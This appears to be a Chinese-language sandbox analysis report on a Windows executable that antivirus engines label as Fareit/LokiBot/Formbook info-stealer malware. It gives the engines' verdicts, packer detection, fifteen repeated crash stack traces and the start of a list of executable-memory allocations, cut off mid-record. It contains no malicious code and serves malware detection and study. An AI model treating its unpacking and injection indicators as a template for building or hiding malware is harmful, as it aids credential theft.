12.4
0-day
52 个模型检测该样本为恶意！
重新分析
更多

48f66677fec3c6d3734c439ed9b2fd29cb26a155e8ccb28f30c1b2b65a4878d8

63a5e0cd270d6d0ecf15983fa7d0dfa9.exe

分析耗时

99s

最近分析

文件大小

775.5KB
静态报毒 动态报毒 AI SCORE=82 ALI2000015 AUTOG AUTOIT CLASSIC CONFIDENCE DATASTEALER DELFINJECT DELPHI DELPHILESS EMTN EMUR FAREIT FORMBOOK GENERICKD HIGH CONFIDENCE HPCWWG KCLOUD KRYPTIK LMFY LOKIBOT S + TROJ SCORE STATIC AI SUSGEN SUSPICIOUS PE UNSAFE WGW@AOIL0TMI WOPX X2094 YKECP ZELPHIF 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee Fareit-FPQ!63A5E0CD270D 20201209 6.0.6.653
Baidu 20190318 1.0.0.2
Avast Win32:Malware-gen 20201208 20.10.5736.0
Alibaba Trojan:Win32/DelfInject.ali2000015 20190527 0.3.0.5
Kingsoft Win32.Troj.Undef.(kcloud) 20201209 2017.9.26.565
Tencent Win32.Trojan.Kryptik.Wopx 20201209 1.0.0.1
CrowdStrike win/malicious_confidence_90% (W) 20190702 1.0
静态指标
The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 个事件)
section CODE
section DATA
section BSS
The executable uses a known packer (1 个事件)
packer BobSoft Mini Delphi -> BoB / BobSoft
One or more processes crashed (15 个事件)
Time & API Arguments Status Return Repeated
1619625635.100124
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73a4e97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73a4ea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73a4b25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73a4b4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73a4ac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73a4aed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73a45511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73a4559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74107f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74104de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfcba148d
success 0 0
1619625644.927874
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73aae97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73aaea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73aab25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73aab4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73aaac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73aaaed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73aa5511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73aa559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfe80148d
success 0 0
1619625645.881501
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x7405e97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x7405ea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x7405b25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x7405b4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x7405ac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x7405aed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x74055511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x7405559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74167f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74164de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfe68148d
success 0 0
1619625647.210249
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73aae97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73aaea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73aab25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73aab4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73aaac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73aaaed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73aa5511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73aa559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfcbd148d
success 0 0
1619625649.287501
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x7405e97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x7405ea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x7405b25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x7405b4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x7405ac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x7405aed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x74055511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x7405559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74167f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74164de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfe7b148d
success 0 0
1619625650.834499
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73aae97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73aaea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73aab25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73aab4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73aaac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73aaaed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73aa5511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73aa559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfcd4148d
success 0 0
1619625653.474874
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x7405e97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x7405ea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x7405b25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x7405b4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x7405ac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x7405aed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x74055511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x7405559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74167f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74164de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfcf9148d
success 0 0
1619625655.240626
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73aae97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73aaea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73aab25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73aab4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73aaac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73aaaed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73aa5511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73aa559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfcf5148d
success 0 0
1619625661.131626
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x7405e97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x7405ea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x7405b25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x7405b4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x7405ac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x7405aed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x74055511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x7405559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74167f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74164de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfe70148d
success 0 0
1619625663.271626
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73aae97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73aaea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73aab25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73aab4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73aaac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73aaaed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73aa5511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73aa559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfe66148d
success 0 0
1619625667.177751
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x7405e97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x7405ea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x7405b25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x7405b4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x7405ac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x7405aed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x74055511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x7405559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74167f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74164de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfe64148d
success 0 0
1619625668.772249
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73aae97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73aaea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73aab25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73aab4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73aaac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73aaaed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73aa5511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73aa559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfcd8148d
success 0 0
1619625670.975249
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73a5e97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73a5ea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73a5b25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73a5b4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73a5ac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73a5aed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73a55511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73a5559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfcd6148d
success 0 0
1619625673.459374
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73aae97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73aaea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73aab25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73aab4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73aaac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73aaaed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73aa5511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73aa559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfe76148d
success 0 0
1619625677.318374
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x7405e97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x7405ea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x7405b25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x7405b4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x7405ac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x7405aed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x74055511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x7405559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
document+0x40a4d @ 0x440a4d
document+0x39254 @ 0x439254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfcd4148d
success 0 0
行为判定
动态指标
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
Allocates read-write-execute memory (usually to unpack itself) (50 out of 498 个事件)
Time & API Arguments Status Return Repeated
1619625614.115374
NtAllocateVirtualMemory
process_identifier: 2668
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x003f0000
success 0 0
1619625614.490374
NtAllocateVirtualMemory
process_identifier: 2668
region_size: 69632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
